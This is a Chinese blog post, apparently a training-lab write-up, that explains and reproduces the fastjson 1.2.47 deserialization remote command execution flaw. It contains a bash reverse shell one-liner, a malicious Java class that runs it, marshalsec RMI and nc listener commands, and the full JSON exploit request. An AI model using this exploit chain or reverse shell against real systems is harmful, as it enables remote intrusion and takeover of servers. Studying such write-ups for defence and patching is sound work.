首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >fastjson 1.2.47 远程命令执行漏洞

fastjson 1.2.47 远程命令执行漏洞

原创
作者头像
你叫夹克
发布2025-10-16 22:12:53
发布2025-10-16 22:12:53
2160
举报

一、前言

!quote 参考文档 https://app.nextcyber.cn/courses/70/tasks/787

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

(一)漏洞条件

Fastjson 反序列化远程命令执行漏洞(影响版本:1.2.24 ~ 1.2.48)的触发需同时满足以下 3 个核心条件:

  1. 版本匹配:目标 Java 项目使用的 Fastjson 版本处于 1.2.24 至 1.2.48 之间,该区间版本虽已加入反序列化白名单,但存在绕过机制;
  2. 功能启用:目标项目启用了 Fastjson 的反序列化功能(如通过JSON.parse()JSON.parseObject()等方法处理外部传入的 JSON 数据),且未对输入内容做严格过滤;
  3. 依赖支持:目标服务器环境中存在可被利用的 Java 类(如com.sun.rowset.JdbcRowSetImpl),且支持 JNDI(Java Naming and Directory Interface,Java 命名和目录接口)协议调用(如 RMI/LDAP),可通过该协议加载远程恶意类。

(二)漏洞原理

该漏洞的核心是Fastjson 白名单绕过 + JNDI 注入的组合利用:Fastjson 1.2.48 前版本对反序列化类的白名单校验存在逻辑缺陷,攻击者可通过构造特殊 JSON 格式(利用@type字段指定恶意类)绕过检测,触发com.sun.rowset.JdbcRowSetImpl等危险类的实例化;此类实例化过程中会读取dataSourceName属性的值并通过 JNDI 协议(如 RMI)去请求远程服务器上的恶意类;当目标服务器加载并执行该恶意类时,攻击者预先写入的恶意代码(如命令执行逻辑)便会在目标服务器上触发,最终实现远程命令执行。

代码语言:mermaid
复制
flowchart TD
    A[攻击者构造特殊JSON Payload] -->|包含@type指定JdbcRowSetImpl+JNDI地址| B[目标服务器接收JSON数据]
    B --> C[Fastjson执行JSON.parse()反序列化]
    C --> D[Payload绕过checkAutoType()白名单校验]
    D --> E[实例化com.sun.rowset.JdbcRowSetImpl类]
    E --> F[调用setAutoCommit()方法]
    F --> G[解析dataSourceName中的JNDI地址]
    G --> H[向攻击机RMI/LDAP服务发起请求]
    H --> I[加载攻击机上的恶意Java类]
    I --> J[恶意类在目标服务器执行]
    J --> K[实现远程命令执行(如反弹Shell)]
    L[攻击机准备工作] -->|1.编译恶意Java类 2.启动RMI服务 3.启动NC监听| A

二、漏洞复现

!NOTE 靶场信息# 攻击机IP 10.132.1.111 # 靶机IP 10.22.26.116

(一)准备恶意反序列化文件,并部署到6666端口

代码语言:shell
复制
bash -i >& /dev/tcp/10.132.1.111/7777 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvNzc3NyAwPiYx

MyFastjson.java

代码语言:java
复制
import java.lang.Runtime;
import java.lang.Process;

public class MyFastjson {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            // bash -i >& /dev/tcp/10.132.1.111/7777 0>&1
            String[] commands = {"/bin/bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译该文件,并部署到6666端口:

代码语言:shell
复制
javac MyFastjson.java

python -m http.server 6666

!success 运行结果┌──(kali㉿kali)-[~/demo] └─$ vim MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ javac MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ ls marshalsec-0.0.3-SNAPSHOT-all.jar MyFastjson.class MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ python -m http.server 6666 Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...

(二)启动RMI服务器,绑定到9999端口

代码语言:shell
复制
┌──(kali㉿kali)-[~/demo]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.132.1.111:6666/#MyFastjson" 9999
* Opening JRMP listener on 9999

(三)启动nc监听7777端口

代码语言:shell
复制
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 7777
Listening on 0.0.0.0 7777

(四)使用BP发送请求,成功触发回弹Shell

代码语言:http
复制
POST / HTTP/1.1
Host: 10.22.26.116:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 263

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.132.1.111:9999/fastjson",
        "autoCommit":true
    }
}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、前言
    • (一)漏洞条件
    • (二)漏洞原理
  • 二、漏洞复现
    • (一)准备恶意反序列化文件,并部署到6666端口
    • (二)启动RMI服务器,绑定到9999端口
    • (三)启动nc监听7777端口
    • (四)使用BP发送请求,成功触发回弹Shell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档